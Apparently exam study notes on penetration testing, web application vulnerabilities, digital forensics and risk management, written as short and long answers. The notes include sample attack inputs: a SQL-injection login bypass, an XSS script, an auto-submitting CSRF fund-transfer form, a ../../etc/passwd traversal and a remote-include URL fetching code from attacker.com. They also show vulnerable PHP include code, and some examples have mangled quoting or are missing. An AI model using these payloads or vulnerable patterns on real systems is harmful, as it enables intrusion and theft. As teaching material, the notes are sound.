- Helps **identify vulnerabilities** and **improve security**.
- Can be **manual** (human testing) or **automated** (using tools like Metasploit, Burp Suite).

2. List any two types of penetration testing.

Two Types of Penetration Testing:

1. **Black Box Testing** – The tester has **no prior knowledge** of the system. They attack it just like an external hacker would.
2. **White Box Testing** – The tester has **full knowledge** of the system's architecture, source code, and configuration.

3. What is meant by web application test scope?

Web Application Test Scope refers to the **boundaries and extent** of testing activities for a web application during a penetration test or security audit.

It defines **what will be tested**, **how it will be tested**, and **what is excluded**, so both the tester and the client have a clear understanding of the coverage.

Key Elements of Web Application Test Scope

1. **Application Coverage** – Which modules, pages, APIs, or features will be tested.
2. **Testing Methods** – Manual testing, automated scanning, vulnerability exploitation, etc.
3. **Security Areas to Check** – Authentication, authorization, data validation, encryption, session management, etc.

4. **Exclusions** – Any part of the application or system that should not be tested.
5. **Rules of Engagement** – Testing time window, allowed tools, reporting format, and data sensitivity handling.

Example:

If you are penetration testing an online banking app, the scope may include:

- Login page
- Funds transfer module
- Transaction history API

But **exclude** the payment gateway of a third-party vendor (because it's outside the organization's control).

4. Define vulnerability in cyber security.

In **cyber security**, a **vulnerability** is a **weakness or flaw** in a system, network, application, or process that can be **exploited by a threat actor** (like a hacker) to gain unauthorized access, cause damage, or steal data.

Key Points

- It can be in **software** (e.g., coding errors), **hardware** (e.g., insecure ports), or **human behavior** (e.g., weak passwords).
- Vulnerabilities do not cause harm by themselves — they become dangerous when **exploited**.

Example:

- Using a default admin password in a router.
- A web app with **SQL Injection** vulnerability allowing attackers to access the database.

5. Name two web architectures.

Two common **web architectures** are:

1. **Client-Server Architecture** – The client (user's browser) sends requests, and the server processes and responds (e.g., most websites).
2. **Three-Tier Architecture** – Separates the system into **Presentation Layer** (UI), **Application Layer** (logic), and **Database Layer** (data storage).

6. What is the main goal of penetration testing?

The **main goal of penetration testing** is to **identify and exploit security weaknesses** in a system, network, or application **before malicious attackers can**, so that these vulnerabilities can be fixed to improve overall security.

7. Define client in web context.

In the **web context**, a **client** is a device or software (such as a **web browser**, mobile app, or other application) that **sends requests to a server** to access web resources or services, and then displays or processes the server's response for the user.

Example:

When you open **Google Chrome** and type *www.gmail.com*, your browser (client) requests Gmail's server for your emails, and the server sends the data back for you to view.

8. Define server in web context.

In the **web context**, a **server** is a computer or software system that **stores, processes, and delivers web resources or services** to clients over a network (like the internet) when requested.

Example:

When you access www.youtube.com, the YouTube **server** stores and sends videos, thumbnails, and web pages to your browser (client) upon request.

Part-B (12 Marks – Long Answer)

1. Explain the different types of penetration testing.

1. Network Penetration Testing

- **Focus:** Tests the security of internal and external networks.
- **Goal:** Find vulnerabilities like weak firewalls, misconfigured routers, and open ports.
- **Example:** Checking if an attacker can exploit an open port to gain unauthorized access.

2. Web Application Penetration Testing

- **Focus:** Examines web applications for security flaws.
- **Goal:** Detect vulnerabilities like SQL Injection, Cross-Site Scripting (XSS), CSRF, etc.
- **Example:** Testing a banking website for loopholes that may leak customer data.

3. Wireless Penetration Testing

- **Focus:** Tests Wi-Fi networks and wireless communication.
- **Goal:** Identify weak encryption, unauthorized access points, or password leaks.
- **Example:** Checking if a company's Wi-Fi with WPA2 can be cracked.

4. Social Engineering Penetration Testing

- **Focus:** Tests the **human factor** of security.
- **Goal:** Identify if employees can be tricked into revealing sensitive information.
- **Example:** Phishing emails, phone scams, or impersonation attacks.

5. Physical Penetration Testing

- **Focus:** Tests physical security of systems and facilities.
- **Goal:** Find weaknesses in locks, ID systems, or unauthorized access to servers.
- **Example:** Attempting to enter a restricted server room without authorization.

6. Cloud Penetration Testing

- **Focus:** Tests the security of cloud environments like AWS, Azure, or Google Cloud.
- **Goal:** Detect misconfigurations, data leaks, and insecure cloud storage.
- **Example:** Checking if an attacker can access sensitive files in a misconfigured cloud bucket.

2. Discuss the process of defining a web application test scope.\

1. Identify Objectives

- Understand **why** the test is being done.
- Common objectives:
 - Test for data leaks.
 - Evaluate resistance to attacks (SQLi, XSS, CSRF, etc.).
 - Ensure compliance with standards (OWASP, PCI-DSS, GDPR).

2. Define the Assets to be Tested

- List what is **in scope**:
 - The main web application (URLs, subdomains).
 - APIs used by the application.
 - Authentication and session management mechanisms.

- Also define what is **out of scope**:
 - Third-party services (like payment gateways) unless allowed.
 - Applications unrelated to the business function.

3. Decide on the Type of Testing

- **Black Box Testing** → tester has no prior knowledge.
- **Gray Box Testing** → tester has partial knowledge (like user credentials).
- **White Box Testing** → tester has full knowledge (like source code).

4. Define Testing Boundaries

- Specify **what actions are allowed** and **what are restricted**.
- Example boundaries:
 - Allowed: SQL injection attempts on test DB.
 - Not allowed: Denial-of-Service (DoS) tests on live servers.

5. Determine the Rules of Engagement

- Time frame of testing (working hours or anytime).
- Reporting method for discovered vulnerabilities.
- Emergency contact in case critical systems crash.

6. Legal and Compliance Considerations

- Ensure **written permission** from the organization.
- Comply with local **cyber laws and policies**.
- Sign an **NDA (Non-Disclosure Agreement)** to protect sensitive data.

7. Finalize and Document the Scope

- Document all agreed details in a **Scope of Work (SoW)**.
- Share with both the penetration testing team and the organization.

3. Describe the various types of vulnerabilities in web applications.

Types of Vulnerabilities in Web Applications

Web applications are prone to many security weaknesses. The most common types are:

1. Injection Attacks

- Example: SQL Injection.
- Occurs when untrusted data is sent to an interpreter as part of a query or command.
- Allows attackers to access or modify database information.

2. Cross-Site Scripting (XSS)

- Attackers inject malicious scripts into web pages viewed by users.
- Can steal cookies, session tokens, or redirect users to fake websites.

3. Broken Authentication

- Weak or improperly implemented authentication systems.
- Attackers can impersonate legitimate users or hijack sessions.

4. Cross-Site Request Forgery (CSRF)

- Tricks a user's browser into sending unwanted requests to a web application.
- Can change user details, transfer funds, or perform unauthorized actions.

5. Security Misconfiguration

- Default credentials, unnecessary services, or unpatched software.
- Provides easy entry points for attackers.

6. Insecure Data Storage & Transmission

- Sensitive data not encrypted during storage or transfer.
- Can lead to identity theft and financial fraud.

7. Broken Access Control

- Users can access data or functions they should not.
- Example: Normal user accessing admin pages.

4. Explain different types of web architectures.

Types of Web Architectures

Web architecture defines how web applications are structured and how components interact. The main types are:

1. Client-Server Architecture

- Most basic model.
- **Client (browser)** sends requests, **Server** responds with data.
- Example: Login page – client sends username & password → server validates → response sent back.

2. Two-Tier Architecture

- Divided into **Client** and **Server with Database**.
- The client directly communicates with the database through the server.
- Example: Small web apps where server handles both logic and database access.

3. Three-Tier Architecture

- Has **Presentation Layer (Client UI)**, **Application Layer (Business Logic)**, and **Data Layer (Database)**.
- More secure and scalable than two-tier.
- Example: Online banking applications.

4. N-Tier (Multi-Tier) Architecture

- Extension of three-tier with multiple layers (UI, business logic, services, database, caching, etc.).
- Provides high scalability, modularity, and flexibility.
- Example: Large enterprise applications (e-commerce, social media).

5. Microservices Architecture

- Application is broken into **small, independent services**.
- Each service handles one function and communicates via APIs.
- Example: Amazon or Netflix, where different services (login, payment, product search) run independently.

6. Serverless Architecture

- Developers write code without managing servers.

- Cloud providers (AWS Lambda, Azure Functions) handle execution on demand.
- Example: Lightweight apps and event-driven tasks.

5. Discuss the role of servers and clients from a penetration tester's perspective.

Role of Servers and Clients from a Penetration Tester's Perspective

In web applications, both **servers** and **clients** play important roles. A penetration tester must analyze both sides for vulnerabilities.

1. Client-Side (User End – Browser / Device)

- **Role:**
 - Sends requests to the server.
 - Displays responses (HTML, CSS, JS).
 - Handles input forms, cookies, local storage, and scripts.
- **From Penetration Testing Perspective:**
 - **Vulnerabilities in client-side code** can be exploited.
 - Common attacks include:
 - **Cross-Site Scripting (XSS):** Injecting malicious scripts into webpages.
 - **Cross-Site Request Forgery (CSRF):** Forcing a client to send unintended requests.
 - **Clickjacking:** Tricking the user into clicking hidden elements.
 - **Insecure storage:** Sensitive data stored in cookies or local storage.
 - Pen testers check **how input validation is handled** and whether the browser can be tricked into executing unsafe scripts.

2. Server-Side (Backend – Web Server, Application Server, Database)

- **Role:**
 - Processes client requests.
 - Executes business logic.
 - Manages authentication, authorization, and data storage.
- **From Penetration Testing Perspective:**
 - **Server misconfigurations** or insecure coding practices are tested.

- Common attacks include:
 - **SQL Injection (SQLi):** Injecting malicious queries into database.
 - **Remote Code Execution (RCE):** Exploiting server flaws to run attacker's code.
 - **Broken Authentication:** Weak login/session management.
 - **Directory Traversal:** Accessing restricted files on the server.
 - **Denial of Service (DoS):** Overloading the server to make it unavailable.
- Pen testers also check **patch management, server software versions, and firewall configurations.**

6. Explain steps involved in a penetration testing process.

The **penetration testing process** involves a structured set of steps to identify, exploit, and report vulnerabilities in a system. The main steps are:

1. Planning and Reconnaissance (Information Gathering):

- Define the scope, goals, and rules of engagement.
- Collect information about the target system (domain names, IP addresses, technologies used).

2. Scanning and Enumeration:

- Identify live hosts, open ports, and services running.
- Tools like **Nmap** are used to scan for vulnerabilities.

3. Exploitation (Gaining Access):

- Attempt to exploit identified vulnerabilities.
- Gain access to systems, applications, or data using techniques like SQL Injection, XSS, or password cracking.

4. Post-Exploitation (Maintaining Access):

- Assess the impact of the compromise.
- Try to maintain access with backdoors or privilege escalation to simulate real attackers.

5. Analysis and Reporting:

- Document all findings, vulnerabilities exploited, and data accessed.
- Provide recommendations to fix the security issues.

7. Write about tools used for penetration testing.

Penetration testing relies on various tools that help testers to discover, exploit, and analyze vulnerabilities. Some commonly used tools are:

1. Nmap (Network Mapper):

- Used for network scanning, port scanning, and service detection.
- Helps identify live hosts and open ports.

2. Metasploit Framework:

- Popular exploitation tool.
- Provides ready-made exploits and payloads to test vulnerabilities.

3. Burp Suite:

- A web application testing tool.
- Used for intercepting, analyzing, and modifying web traffic.
- Useful for testing **XSS, SQL Injection, CSRF**, etc.

4. Wireshark:

- Network packet analyzer.
- Captures and analyzes network traffic for suspicious activity.

5. Nessus:

- Vulnerability scanning tool.
- Detects security weaknesses, misconfigurations, and outdated software.

6. John the Ripper / Hydra:

- Password cracking tools.
- Used to test password strength with dictionary and brute-force attacks.

7. Nikto:

- Web server scanner.
- Detects insecure files, outdated software, and misconfigurations.

8. Discuss security issues identified during penetration testing.

During penetration testing, testers identify several **security issues and vulnerabilities** that attackers could exploit. Common issues are:

1. Weak Passwords:

- Use of simple, guessable, or reused passwords.
- Allows brute-force or dictionary attacks.

2. Unpatched Software:

- Outdated operating systems, applications, or firmware.
- Attackers exploit known vulnerabilities.

3. Misconfigured Systems:

- Default credentials, open ports, or unnecessary services enabled.
- Increases attack surface.

4. Web Application Vulnerabilities:

- SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF).
- Can lead to data theft and unauthorized access.

5. Privilege Escalation:

- Weak access controls allow attackers to gain admin-level permissions.

6. Insecure Network Services:

- Open or exposed services (FTP, Telnet, SMB, etc.).
- Easily exploited by attackers.

7. Insecure Data Transmission:

- Use of HTTP instead of HTTPS.
- Sensitive data can be intercepted (Man-in-the-Middle attacks).

8. Poor Authentication and Authorization:

- Lack of multi-factor authentication (MFA).
- Improper role-based access control.

UNIT – IV: Web Application Security & Forensics

Part-A (2 Marks – Short Answer)

1. What is SQL Injection?

SQL Injection (SQLi) is a type of **web application attack** where an attacker inserts (injects) **malicious SQL queries** into input fields (like login forms, search boxes, or URLs) to manipulate the backend database.

- It occurs when user inputs are not properly **validated or sanitized**.
- Attackers can **bypass authentication, retrieve, modify, or delete sensitive data**.

Example:

Input: ' OR '1'='1

If injected into a login query:

```
SELECT * FROM users WHERE username=" OR '1'='1' AND password=";
```

This always returns **true**, allowing unauthorized login.

In short:

SQL Injection is a vulnerability where attackers insert malicious SQL queries to access or manipulate a database.

2. Expand XSS and explain briefly.

XSS stands for **Cross-Site Scripting**.

It is a **web application vulnerability** that allows attackers to inject **malicious scripts (usually JavaScript)** into webpages viewed by other users.

- This happens when a website does not properly validate or sanitize user inputs.
- The malicious script then runs in the victim's browser, stealing data or performing actions without consent.

Types of XSS:

1. **Stored XSS** – Malicious script is permanently stored on the server (e.g., in a database, forum post, comment).
2. **Reflected XSS** – Script is reflected from the server in an error message, search result, or link.
3. **DOM-based XSS** – Script is executed in the client's browser by manipulating the Document Object Model (DOM).

Example:

If a website shows comments without filtering:

```
<script>alert('Hacked!');</script>
```

When another user views the page, this script will execute in their browser.

In short:

XSS is a vulnerability that lets attackers run malicious scripts in a user's browser, leading to **data theft, session hijacking, or website defacement**.

3. What is CSRF?

CSRF stands for **Cross-Site Request Forgery**.

It is a **web application vulnerability** where an attacker tricks a logged-in user's browser into performing **unauthorized actions** on a trusted website without the user's knowledge.

How it works:

1. User logs into a website (e.g., banking site) and stays authenticated using cookies/session.
2. Attacker sends a **malicious link, form, or image** to the user.
3. When the user clicks it (or sometimes just loads the page), the request is automatically sent to the trusted website **using the user's active session**.
4. The server believes the request is from the user and executes it (like transferring money, changing password, etc.).

Example:

A hidden HTML form on a malicious site:

```
<form action="https://bank.com/transfer" method="POST">
```

```
<input type="hidden" name="amount" value="10000">
```

```
<input type="hidden" name="toAccount" value="attacker123">
```

```
</form>
```

```
<script>document.forms[0].submit();</script>
```

If the victim is logged into the bank, this request will be processed without their consent.

Impact of CSRF:

- Unauthorized fund transfers
- Password/email change
- Data theft or deletion

Prevention Methods:

1. Use **CSRF tokens** (unique, secret values in each request).
2. Implement **SameSite cookies**.
3. Require **re-authentication** for sensitive actions.

In short:

CSRF is an attack where an attacker forces a victim's browser to perform unwanted actions on a trusted site where the user is already authenticated.

4. Define Session Hijacking.

Session Hijacking is a type of attack where an attacker **takes over a valid user session** by stealing or guessing the **session ID** used to identify a user on a web application.

Since web servers use **session IDs** (stored in cookies, URL, or hidden fields) to maintain user authentication, if an attacker gains access to that ID, they can impersonate the user without needing their username and password.

Methods of Session Hijacking:

1. **Session Sniffing** – Capturing session IDs through network sniffing.
2. **Cross-Site Scripting (XSS)** – Injecting malicious scripts to steal cookies.
3. **Man-in-the-Middle (MITM)** – Intercepting communication between client and server.
4. **Session Fixation** – Forcing a victim to use a known session ID.

Impacts of Session Hijacking:

- Unauthorized access to user accounts.
- Identity theft.
- Unauthorized financial transactions.
- Data theft or manipulation.

Prevention Techniques:

1. Use **HTTPS/SSL** to encrypt communication.
2. Generate **random, long session IDs**.
3. **Regenerate session ID** after login.
4. Implement **session timeout** and re-authentication.
5. Use **secure and HttpOnly cookies**.

In short:

Session Hijacking is an attack where an attacker steals or predicts a user's session ID to impersonate them and gain unauthorized access.

5. What is the purpose of CAPTCHA?

CAPTCHA stands for **Completely Automated Public Turing test to tell Computers and Humans Apart**.

It is a security mechanism used on websites to ensure that the user is a **human and not an automated bot**.

Purpose of CAPTCHA:

1. **Prevent Automated Attacks** – Stops bots from performing brute force login attempts, spamming, or fake registrations.
2. **Reduce Spam** – Prevents automated submissions of forms (comments, feedback, sign-ups).
3. **Protect Sensitive Operations** – Used in login pages, online voting, and payment transactions to ensure genuine users.
4. **Prevent Resource Abuse** – Stops bots from overloading servers with repeated requests (DDoS prevention).
5. **Enhance Security** – Helps defend against automated exploitation of vulnerabilities.

Types of CAPTCHA:

- **Text-based:** Distorted letters/numbers to be typed.
- **Image-based:** Select specific images (e.g., "Select all images with traffic lights").
- **Audio CAPTCHA:** For visually impaired users.
- **reCAPTCHA (Google):** Simple checkbox ("I'm not a robot") or invisible background test.

In short:

The main purpose of CAPTCHA is to **differentiate between humans and automated bots**, thereby protecting websites from abuse and attacks.

6. Mention any two forensic technologies.

1.Disk Forensics

1. Involves identifying, recovering, and analyzing data from storage devices (hard disks, SSDs, USB drives).
2. Used to retrieve deleted files, hidden data, or evidence of unauthorized access.

2.Network Forensics

3. Focuses on monitoring and analyzing network traffic.
4. Helps detect intrusions, trace attackers, and collect evidence of cybercrimes (e.g., packet sniffing, log analysis).

In short:

Two important forensic technologies are **Disk Forensics** and **Network Forensics**, which help in recovering digital evidence and investigating cybercrimes.

7. Define Audit Trails.

An **Audit Trail** is a **record or log of all user activities, system events, and transactions** within an information system.

It helps track **who did what, when, and how**, providing evidence for **security monitoring, accountability, and forensic investigation**.

In short:

Audit trails are **chronological records** that ensure **accountability, detect suspicious activities, and support investigations** in case of security incidents.

8. Give an example of outsider threat.

An **outsider threat** is a cyber risk that comes from **external individuals or groups** who are not part of the organization.

Example:

A **hacker launching a phishing attack** to steal employee login credentials and gain unauthorized access to company systems.

In short:

Outsider threat = **Attack from outside the organization** (e.g., hackers, cybercriminals, competitors).

Part-B (12 Marks – Long Answer)**1. Explain SQL Injection, XSS, and CSRF with examples.****1. SQL Injection (SQLi):**

- **Definition:** SQL Injection is a web security vulnerability where an attacker inserts malicious SQL queries into input fields to access or modify the database.
- **Example:**

Input: ' OR '1'=1

Query becomes:

SELECT * FROM users WHERE username=" OR '1'=1' AND password=";

→ This condition is always true, allowing the attacker to log in without valid credentials.

2. Cross-Site Scripting (XSS):

- **Definition:** XSS is a vulnerability where an attacker injects malicious scripts (usually JavaScript) into web pages viewed by other users.

- **Example:**

If a website displays user comments without validation, an attacker can post:

- `<script>alert('Hacked!');</script>`

→ When another user views the page, the script runs and shows an alert box.

- **Impact:** Stealing cookies, session tokens, or redirecting users to malicious sites.

3. Cross-Site Request Forgery (CSRF):

- **Definition:** CSRF is an attack where an attacker tricks a logged-in user into performing unwanted actions on a web application.

- **Example:**

A malicious link like:

- ``

→ If a user is logged into their bank account, just clicking this link may transfer money without their knowledge.

In short:

- **SQLi** → Attacks the **database** using malicious queries.
- **XSS** → Injects **malicious scripts** into web pages.
- **CSRF** → Tricks a user into performing **unauthorized actions**.

Comparison: SQL Injection vs XSS vs CSRF

Feature	SQL Injection (SQLi)	Cross-Site Scripting (XSS)	Cross-Site Request Forgery (CSRF)
Target	Database (Backend)	Client (User's Browser)	Authenticated User (Session)
Attack Type	Injecting malicious SQL queries	Injecting malicious JavaScript/HTML	Tricking user into unwanted action
Main Goal	Steal/modify data, bypass login	Steal cookies, hijack sessions, deface UI	Perform unauthorized actions (e.g., fund transfer)
Example	' OR '1'='1 → bypass login	<script>alert('Hacked!');</script>	
Exploits	Poorly validated database queries	Poor input/output sanitization	Trust of web application in authenticated user
Impact	Data theft, unauthorized access, database corruption	Session hijacking, phishing, spreading malware	Unauthorized transactions, password/email change
Defense	Use prepared statements, parameterized queries	Input sanitization, output encoding, Content Security Policy (CSP)	CSRF tokens, SameSite cookies, re-authentication

2. Describe password vulnerabilities and prevention techniques.

Password Vulnerabilities:

1. **Weak Passwords** – Simple, short, or common passwords (e.g., 123456, password) are easy to guess.
2. **Password Reuse** – Using the same password on multiple sites increases risk if one site is compromised.
3. **Phishing Attacks** – Fake websites or emails trick users into revealing their passwords.
4. **Brute Force & Dictionary Attacks** – Hackers try every possible combination or use common wordlists.
5. **Shoulder Surfing / Keylogging** – Observing or recording keystrokes to steal passwords.
6. **Storage Vulnerabilities** – Storing passwords in plain text or with weak hashing allows attackers to recover them easily.

Prevention Techniques:

1. **Strong Password Policies** – Use long (12+ characters), complex passwords with upper/lowercase, numbers, and symbols.
2. **Multi-Factor Authentication (MFA)** – Add an extra layer like OTP, biometrics, or security tokens.
3. **Avoid Reuse** – Use unique passwords for different accounts.
4. **Password Managers** – Safely store and generate strong random passwords.
5. **Secure Storage** – Store passwords using strong hashing algorithms (e.g., bcrypt, Argon2) with salting.
6. **User Awareness** – Train users against phishing and social engineering.
7. **Account Lockouts / Rate Limiting** – Prevent brute-force attempts by locking accounts after repeated failures.

3. Explain the concept of SSL and its importance.

SSL (Secure Sockets Layer) and Its Importance

Concept of SSL:

- **SSL (Secure Sockets Layer)** is a **security protocol** used to establish an **encrypted link** between a web browser (client) and a web server.

- It ensures that the data transmitted (like passwords, credit card numbers, personal information) cannot be read or modified by attackers.
- Modern systems use **TLS (Transport Layer Security)**, which is the improved version of SSL, but the term “SSL” is still commonly used.

How SSL Works:

1. **Handshake Process** – Browser and server agree on encryption methods.
2. **Authentication** – Server proves its identity using an SSL certificate (issued by a trusted Certificate Authority).
3. **Encryption** – Data is encrypted using public/private key cryptography.
4. **Secure Communication** – Data exchanged remains private and tamper-proof.

Importance of SSL:

1. **Data Security** – Protects sensitive data from eavesdropping and man-in-the-middle (MITM) attacks.
2. **Authentication** – Ensures the website is genuine and not a fake/phishing site.
3. **Data Integrity** – Prevents attackers from altering information in transit.
4. **User Trust** – Websites with SSL show **HTTPS and a padlock icon**, increasing user confidence.
5. **SEO Benefit** – Google ranks HTTPS-enabled websites higher in search results.

4. Discuss Local and Remote File Inclusion attacks.

Local File Inclusion (LFI) and Remote File Inclusion (RFI) Attacks

1. Local File Inclusion (LFI)

- **Definition:**
LFI occurs when a web application **includes files from the local server** without properly validating user input.
- Attackers can trick the application into exposing or executing **sensitive files** stored on the server.

Example:

```
<?php
$page = $_GET['page'];
include("pages/" . $page);
?>
```

- If the attacker enters:
- `http://example.com/index.php?page=../../etc/passwd`
- The server might include `/etc/passwd` (a sensitive system file) → exposing user accounts.

Impact of LFI:

- Disclosure of sensitive files (config files, passwords).
- Remote code execution (if attacker can upload a malicious file and include it).
- Full system compromise.

2. Remote File Inclusion (RFI)

- **Definition:**
RFI occurs when a web application includes a **remote file (from another server)** without validation.
- Attackers can host malicious code on their server and force the vulnerable site to execute it.

Example:

```
<?php
    $page = $_GET['page'];
    include($page);
?>
```

- If the attacker enters:
- `http://victim.com/index.php?page=http://attacker.com/malware.txt`
- The attacker's code from `attacker.com` will run on the victim's server.

Impact of RFI:

- Remote code execution.
- Full server compromise.
- Malware distribution via the vulnerable site.

3. Prevention Techniques

1. **Input Validation:** Never trust user input; allow only whitelisted values.
2. **Disable Remote Includes:** In PHP, set
`allow_url_include = Off`
`allow_url_fopen = Off`
3. **Use Secure Coding:** Specify fixed file paths, avoid dynamic includes.
4. **Least Privilege:** Restrict file permissions and server privileges.
5. **Web Application Firewalls (WAF):** Detect and block LFI/RFI attempts.

5. Explain the process of collecting digital evidence.

Digital evidence is any information or data stored or transmitted in digital form that can be used in a court of law. The process of collecting digital evidence must be systematic to ensure authenticity and admissibility.

Steps in Collecting Digital Evidence:

1. **Identification**
 - Recognize potential sources of digital evidence (e.g., computers, mobile phones, servers, cloud storage, USB drives).
 - Decide which devices and data may contain relevant information.
2. **Preservation**
 - Secure the devices to prevent tampering or loss of data.
 - Ensure the chain of custody is maintained (who collected, handled, and stored the evidence).
 - Use write-blockers while accessing storage devices to avoid modifying the data.
3. **Collection / Acquisition**
 - Make forensic copies (bit-by-bit images) of the storage media.
 - Document the process carefully to prove integrity.
 - Collect volatile data (RAM contents, running processes, network connections) before shutting down the system.
4. **Examination**
 - Analyze the data using forensic tools (e.g., EnCase, FTK, Autopsy).
 - Recover deleted files, hidden data, or logs relevant to the investigation.

5. Analysis

- Interpret the evidence to establish timelines, user activity, and possible criminal intent.
- Correlate evidence from different sources (email, logs, chat history).

6. Presentation

- Prepare a clear report that is understandable to non-technical audiences (like judges or lawyers).
- Present findings in court with proof of authenticity and integrity.

6. Describe evidentiary reporting in forensics.

Evidentiary reporting in digital forensics refers to the process of documenting and presenting the findings of a forensic investigation in a clear, accurate, and legally acceptable manner. It is the **final step** in the forensic process where the collected and analyzed evidence is formally reported.

Key Features of Evidentiary Reporting:

1. Accuracy

- The report must be fact-based and free from assumptions or opinions.
- All technical details should be correct and verifiable.

2. Clarity

- The report should be understandable to **non-technical people** like judges, lawyers, or jury members.
- Use simple language, supported by diagrams, timelines, or tables.

3. Completeness

- Include details of **what was collected, how it was collected, tools used, and the results obtained.**
- Maintain the **chain of custody** to prove integrity.

4. Objectivity

- Avoid bias or subjective conclusions.
- Only present evidence that can be supported with facts.

Contents of a Forensic Report:

- **Case Information:** Case number, investigator's name, date, location.
- **Objectives:** Purpose of investigation (e.g., fraud, hacking, data theft).
- **Evidence Collected:** Devices, files, logs, images, emails, etc.
- **Methods Used:** Forensic tools (EnCase, Autopsy, FTK, etc.) and procedures.
- **Findings:** Results of examination (e.g., deleted files recovered, IP traces).
- **Conclusion:** Summary of evidence relevance to the case.
- **Appendices:** Screenshots, hash values, logs, timelines.

7. Discuss layered defense strategy in network security.

A **Layered Defense Strategy** (also called **Defense-in-Depth**) in network security means using **multiple security controls at different layers** of the IT environment to protect data, networks, and systems. The idea is that if one layer fails, the next layer will still provide protection.

Why Layered Defense is Needed?

- No single security measure can stop all types of cyber threats.
- Attackers may bypass one control, but multiple layers reduce the chance of a successful attack.
- It increases **resilience** and **response time** for security teams.

Layers of Defense Strategy:**1. Physical Security**

- Restrict access to servers, data centers, and network equipment.
- Examples: ID cards, CCTV, biometric locks.

2. Perimeter Security

- Protects the network boundary from external threats.
- Examples: Firewalls, Intrusion Detection/Prevention Systems (IDS/IPS), VPNs.

3. Network Security

- Secures internal network traffic and communication.
- Examples: VLANs, secure routing, network segmentation, access control lists (ACLs).

4. Endpoint Security

- Protects user devices like laptops, mobiles, and desktops.
- Examples: Antivirus, patch management, endpoint detection & response (EDR).

5. Application Security

- Ensures software and web apps are safe from exploits.
- Examples: Secure coding, input validation, web application firewalls (WAF).

6. Data Security

- Protects sensitive information from unauthorized access.
- Examples: Encryption, database security, data loss prevention (DLP).

7. User Awareness & Policies

- Training employees to recognize phishing, social engineering, and follow security rules.
- Examples: Password policies, multi-factor authentication (MFA), security training.

Advantages of Layered Defense:

- Reduces single point of failure.
- Provides **redundant protection**.
- Helps in compliance with laws (e.g., GDPR, HIPAA).
- Increases attacker's cost and time, discouraging intrusions.

8. Explain outsider threat protection methods.

Outsider Threat Protection Methods

Definition:

Outsider threats are cyberattacks launched by individuals or groups who are not part of the organization (e.g., hackers, cybercriminals, competitors). They try to exploit vulnerabilities to gain unauthorized access.

Protection Methods:

1. Firewalls:

- Block unauthorized access from external networks.
- Filters incoming and outgoing traffic.

2. Intrusion Detection and Prevention Systems (IDS/IPS):

- Detect malicious activities.
- Prevent attacks in real-time.

3. Strong Authentication:

- Use multi-factor authentication (MFA).
- Prevents outsiders from using stolen credentials.

4. Encryption:

- Encrypt sensitive data during transmission and storage.
- Protects information even if intercepted.

5. Network Segmentation:

- Divides the network into smaller zones.
- Limits attacker movement if a breach occurs.

6. Regular Security Updates:

- Patch operating systems and applications.
- Prevent exploitation of known vulnerabilities.

7. Monitoring and Logging:

- Continuous monitoring of network traffic and system logs.
- Helps identify suspicious activities early.

8. Security Awareness Training:

- Educate employees to recognize phishing, social engineering, and malicious links.
- Reduces chances of outsiders exploiting human errors.

UNIT – V: Risk Management & Incident Response

Part-A (2 Marks – Short Answer)

1. Define Asset Evaluation.

Asset Evaluation – Definition

Asset Evaluation in cybersecurity is the process of **identifying, valuing, and prioritizing an organization's information assets** (like data, software, hardware, networks) based on their importance to business operations and the impact if they are lost, damaged, or compromised.

It helps organizations decide:

- Which assets need the highest protection.
- How much security investment is justified.

In short (2 Marks Answer):

Asset Evaluation is the process of identifying and assigning value to information assets in order to prioritize security measures based on their importance and risk.

2. What is Risk Identification?

Risk Identification is the process of **finding, recognizing, and describing potential risks** that could negatively affect an organization's assets, systems, or operations.

In cybersecurity, it means identifying possible threats (like malware, insider misuse, natural disasters) and vulnerabilities that could be exploited.

In short (2 Marks Answer):

Risk Identification is the process of recognizing potential threats and vulnerabilities that may cause harm to an organization's assets or operations.

3. Expand CIA in cyber security.

In cybersecurity, **CIA** stands for:

1. **Confidentiality** – Ensuring that information is **accessible only to authorized users** and kept secret from unauthorized access.
 - Example: Using **encryption** to protect sensitive data.
2. **Integrity** – Ensuring that data is **accurate, consistent, and not altered** by unauthorized users.
 - Example: Using **hash functions** and **digital signatures**.
3. **Availability** – Ensuring that information and resources are **accessible whenever needed**.
 - Example: Using **backups, redundant servers, and DDoS protection**.

4. What is Risk Quantification?

Definition:

Risk Quantification is the process of **measuring and assigning numerical values** (probability and impact) to identified risks in order to determine their **level of severity** and prioritize them.

It helps organizations understand **how much loss** might occur if a risk happens and how likely it is to happen.

Key Points:

1. **Probability of Occurrence** – How likely the risk is (e.g., 30%, 70%).
2. **Impact of Risk** – The financial, operational, or reputational damage if the risk occurs.
3. **Risk Value Formula:**

$\text{Risk} = \text{Probability of Threat} \times \text{Impact (Loss Value)}$

Example:

$\text{Risk} = 0.2 \times 10,00,000 = ₹2,00,000$

→ This means the organization faces an **expected loss of ₹2,00,000** from that risk.

Short Answer (2 Marks):

Risk Quantification is the process of measuring risks by evaluating their probability and potential impact using formulas and metrics.

5. Define Business Continuity.

Definition:

Business Continuity is the ability of an organization to **continue its essential operations and services** during and after a disruption (such as cyberattacks, natural disasters, or system failures).

It ensures that **critical functions remain available** with minimal downtime, protecting the business from severe losses.

Key Points:

1. Focuses on **keeping the business running** even during unexpected events.
2. Involves **planning, policies, and procedures** to handle disruptions.
3. Includes backup systems, disaster recovery, alternative communication channels, and staff training.
4. Goal → **Minimize downtime, data loss, and financial damage.**

Example:

If a company's data center goes offline due to a fire, business continuity ensures that services are switched to a **backup data center** so that customers still get uninterrupted services.

6. Name any two forensic tools.**Two Common Forensic Tools:**

1. **EnCase** – A widely used digital forensic tool for investigating and analyzing disk images, recovering deleted files, and creating forensic reports.
2. **FTK (Forensic Toolkit)** – A powerful forensic software used for file analysis, email review, password cracking, and indexing evidence.

7. Define Incident Detection.**Incident Detection (Definition):**

Incident Detection is the process of **identifying and recognizing unauthorized, suspicious, or abnormal activities** within a system, network, or application that may indicate a **security incident or cyberattack**.

It helps in detecting threats early so that corrective actions can be taken before major damage occurs.

8. What is meant by Proactive Cyber Service?**Proactive Cyber Service (Definition):**

Proactive Cyber Service refers to **preventive security measures and monitoring activities taken before a cyberattack occurs**. Instead of waiting for incidents to happen, organizations **anticipate threats, identify vulnerabilities, and implement defenses in advance** to reduce risks.

Key Points:

- Focuses on **prevention** rather than just reaction.
- Includes **threat hunting, vulnerability assessments, patch management, continuous monitoring, and security awareness training**.
- Helps reduce chances of attacks like malware infections, phishing, or data breaches.

Part-B (12 Marks – Long Answer)

